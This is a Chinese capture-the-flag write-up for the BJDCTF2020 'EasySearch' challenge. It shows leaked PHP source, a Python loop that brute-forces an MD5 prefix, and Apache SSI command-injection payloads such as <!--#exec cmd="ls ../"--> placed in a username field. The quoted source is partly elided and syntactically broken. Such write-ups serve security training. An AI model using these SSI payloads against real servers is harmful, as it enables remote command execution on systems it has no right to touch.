[BJDCTF2020]EasySearch
知识点
Apache SSI(shtml)远程命令执行漏洞
- BP抓包得到两个post参数
username=a&password=a
- 结合题目
EasySearch
,使用dirsearch
扫描 - 扫描到后台后swp文件泄露,访问一下得到源码
源码:
<?php
ob_start(); //打开缓冲区
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';//没有用到
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times //生成5个随机字符
$content = uniqid().$random; //生成一个此随机数的唯一ID
return sha1($content); //计算sha1散列
}
header("Content-Type: text/html;charset=utf-8"); //向客户端发送原始HTTP报头
***
if(isset($_POST['username']) and $_POST['username'] != '' ) //username有值且不为空
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) { //如果获取的密码md5加密后前6位等于6d0bc1
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml"; //连接成文件路径
$shtml = fopen($file_shtml, "w") or die("Unable to open file!"); //以写的方式打开此文件或者输出无法打开
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text); //将text内容写进shtml
‘/将Text内容写进shtml
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
可以看到password的md5值的前六位要等于6d0bc1
脚本:
import hashlib
for i in range(100000000):
a = hashlib.md5(str(i).encode("utf-8")).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
随便选一个登录
shtml涉及SSI注入漏洞
SSI介绍
SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意命令。
- 如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用 语法执行任意命令。
拓展:
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
password是固定的值,唯一可控的地方就是username,尝试在这里注入
访问给的url
继续构造payload:
- 访问新的url
username=<!--#exec cmd="ls"-->&password=2020666
没有线索,尝试返回上一层目录
username=<!--#exec cmd="ls ../"-->&password=2020666
继续访问
flag_990c66bf85a09c664f0b6741840499b2
,得到flag